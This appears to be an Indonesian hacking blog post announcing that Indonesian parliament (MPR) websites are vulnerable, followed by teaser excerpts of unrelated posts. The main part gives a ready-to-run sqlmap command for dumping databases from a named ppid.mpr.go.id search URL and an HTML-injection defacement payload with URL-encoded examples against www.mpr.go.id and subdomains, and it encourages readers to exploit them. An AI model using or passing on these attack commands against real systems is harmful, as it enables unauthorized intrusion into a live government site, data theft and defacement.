Langsung ke konten utama

Website Majelis Perwakilan Rakyat (MPR) Vulnerable

Gambar
Oleh

Apa itu Sql Injection dan HTML Injection??.

SQLI singkatnya adalah teknik yang menyalahgunakan celah yang terjadi dalam lapisan database aplikasi atau website.

HTML Injection sebenarnya masih kakak adek dengan Cross Site Scripting (XSS). yaitu celah keamanan untuk menginjeksi kode HTML ke dalam halaman website...lob loh...buat apa kaka?...(baca: guugel.com)

kemungkinan teman-teman sudah tidak asing dengan method (metode) tersebut, jadi langsung saja tanpa basah basah basi...cokicokicroot.

A. ppid.mpr.go.id SQL Injection

1. akses website :

ppid.mpr.go.id/id

2. arahkan ke url :

https://ppid.mpr.go.id/berita/semuaberita?cari=

3. pastinya kita perlu mencheck respon dari webs tersebut apakah true atau false, dengan memasukan tanda (').

4. Tinggal mengeseks_usi dengan SQLMAP

command sqlmap :

python sqlmap.py -u https://ppid.mpr.go.id/berita/semuaberita?cari=12 --dbs --random-agent --flush-session --technique=BEUS --time-sec=2 --tamper=space2comment --ignore-proxy --dbms=mysql

5. Silahkan mengeseks_usi sendiri...cokicokicroot

B. HTML Injection Domain mpr.go.id

Domain Vulnerable :

1. https://jdih.mpr.go.id/halaman/cari?q=

2. https://www.mpr.go.id/halaman/cari?q=

3. https://v1.mpr.go.id/halaman/cari?q=

4. Injeksi Kodenya

"><marquee><center><font face="courier new" color="green">Ngehek By Ceeroot</font></marquee>"

contoh :

https://www.mpr.go.id/halaman/cari?q=%3Cmarquee%3E%3Ccenter%3E%3Cfont%20face=%22courier%20new%22%20color=%22green%22%3ENgehek%20By%20Ceeroot%3C/font%3E%3C/marquee%3E



Komentar

Posting Komentar

Postingan populer dari blog ini

Jenis, Istilah dan Metode Serangan Kriminal Dunia Maya

Oleh
    Zaman Modern  seperti sekarang, manusia menganggap  internet  sebagai kebutuhan pokok dalam hal bertransaksi (Internet Banking, Online Shop, dan lainya), mencari teman di medsos, bahkan untuk kebutuhan memposting hal gabut demi mendapat banyak followers maupun like. Seperti tulisan sebelumnya, Indonesia sebagai Negara yang paling banyak pengguna internet tidak luput dari tindak kejahatan di dunia maya, karena siapa saja akan terkena oleh serangan ini jika tidak berhati-hati dalam mengakses suatu link maupun software dan terkadang serangan tersebut akan berlaku acak. Kenapa harus berhati-hati??.      Sebelum menjawab pertanyaan ini, terlebih dahulu penulis menjelaskan kenapa harus membahas masalah hacking terus menerus dalam setiap tulisan. Pepatah mengatakan "kalau tak kenal maka tak sayang", Penulis dalam dunia underground (underground adalah sebutan dunia rahasia atau bawah tanahnya  di internet, mungkin orang awam akan menganggap bahwa...
Posting Komentar
Baca Selengkapnya »

Membedah Kontroversi Hitungan Kalkulator: Mengapa 50+50x2 Bisa Sama dengan 150?

Oleh
Dalam dunia matematika, seringkali terjadi perdebatan atau kebingungan tentang urutan operasi dalam sebuah ekspresi matematika. Salah satu ekspresi yang sering dipertanyakan adalah 50+50x2. Beberapa orang mungkin berpikir bahwa jawabannya adalah 200, sementara yang lain mungkin berpikir bahwa jawabannya adalah 150. Namun, dengan memahami prinsip dasar matematika, kita dapat menjelaskan mengapa jawaban yang benar adalah 150. Matematika terdapat aturan atau urutan tertentu yang harus diikuti ketika menyelesaikan ekspresi matematika yang mengandung lebih dari satu operasi. Aturan ini dikenal sebagai "urutan operasi" atau "prioritas operasi". Urutan operasi ini memastikan bahwa setiap ekspresi dihitung dengan benar dan konsisten. 1. Tanda Kurung : Operasi di dalam tanda kurung dihitung terlebih dahulu. 2. Perkalian dan Pembagian : Perkalian dan pembagian dihitung setelah tanda kurung, dan dilakukan dari kiri ke kanan. 3. Penambahan dan Pengurangan : Penambahan dan pengu...
Posting Komentar
Baca Selengkapnya »

Serangan Udara AS dan Israel di Irak Memicu Ketegangan di Kawasan Timur Tengah

Oleh
Ketegangan melonjak di Timur Tengah setelah Angkatan Udara Amerika Serikat (AS) dan Israel dilaporkan melakukan serangan udara di provinsi Babel Irak, di selatan Bagdad. Serangan ini, yang melibatkan penggunaan drone, menargetkan pangkalan militer Kalsu yang merupakan markas bagi tentara Irak, polisi, dan Pasukan Mobilisasi Populer, sebuah milisi Syiah pro-Iran. Provinsi Babel, terletak di sebelah selatan ibu kota Irak, Baghdad, merupakan wilayah yang penting dalam konteks keamanan dan politik di negara tersebut. Serangan ini memperumit dinamika politik di Irak, serta menambah ketegangan antara pihak-pihak yang terlibat dalam konflik regional di Timur Tengah. Serangan udara ini menimbulkan kekhawatiran akan eskalasi lebih lanjut di kawasan yang sudah tegang ini. Selain itu, serangan tersebut juga menciptakan kekhawatiran akan stabilitas regional, terutama karena melibatkan kekuatan militer dari AS dan Israel, dua negara dengan peran yang signifikan dalam dinamika politik di Timur Tenga...
Posting Komentar
Baca Selengkapnya »

Download Buku Modul Ujian CPNS dan PPPK Tahun 2024 Hingga Buku Cetakan Lama dalam Format PDF

Oleh
Persiapan ujian CPNS (Calon Pegawai Negeri Sipil) dan PPPK (Pegawai Pemerintah dengan Perjanjian Kerja) menjadi fokus utama bagi ribuan calon pegawai negeri di Indonesia. Salah satu sumber daya yang paling berharga adalah buku modul dan materi ujian dalam format PDF, dengan kemajuan teknologi, memperoleh akses ke sumber-sumber ini menjadi lebih mudah. Di bawah ini adalah buku modul ujian CPNS dan PPPK tahun 2024 hingga buku cetakan lama dalam format PDF. 1. Buku SKD CPNS 2023-2024 PDF => Klik disini 2. Buku SKD CPNS 2019-2020 PDF =>  Klik disini 3. Buku SKD CPNS 2018-2019 PDF =>  Klik disini =>  Klik disini =>  Klik disini 4. Buku SKD CPNS - Cetakan Lama PDF =>  Klik disini =>  Klik disini =>  Klik disini 5. Kumpulan Buku dan Materi TWK PDF =>  Klik disini =>  Klik disini =>  Klik disini =>  Klik disini =>  Klik disini =>  Klik disini 6. Materi TIU PDF =>  Klik disini ...
Posting Komentar
Baca Selengkapnya »

Bercakap Dengan Tuhan

Oleh
Tuhan, aku titip dia dalam setiap kutipan do'aku. Jaga dia dalam setiap langkah kakinya. Lindungilah dia dalam segenap naungan_Mu. Bahagiakan dia dengan keputusannya untuk pergi meninggalkan diriku. Aku tak rela Tuhan, tapi aku terpaksa untuk pamit pergi dan menerima segala keputusannya meskipun hal itu berbanding dengan segala luka dan rasa sakit yang begitu perih aku rasa. Aku terima perpisahan ini dengan kepala tegak, aku akan berbesar hati untuk bisa merelakan tragedi perpisahan ini, sebab aku sudah merasakan kehilangan dia jauh sebelum dia pergi menghilang untuk selamanya. Tuhan, bantu aku untuk terbiasa tanpa dirinya. Temanilah perjalanan ku dengan segala petunjuk terbaik darimu. Sadarkan aku dikala diri ini mulai tersesat dan kembali rapuh. Sebab hatiku sudah tak lagi berpenghuni setelah kehilangan dirinya. Hanya padamu Tuhan aku bisa berharap. 3 tahun lalu dia masuk dalam rumahku yang begitu berantakan. Datang dan pergi selayaknya tamu. Namun tak berselang lama dia merapika...
Posting Komentar
Baca Selengkapnya »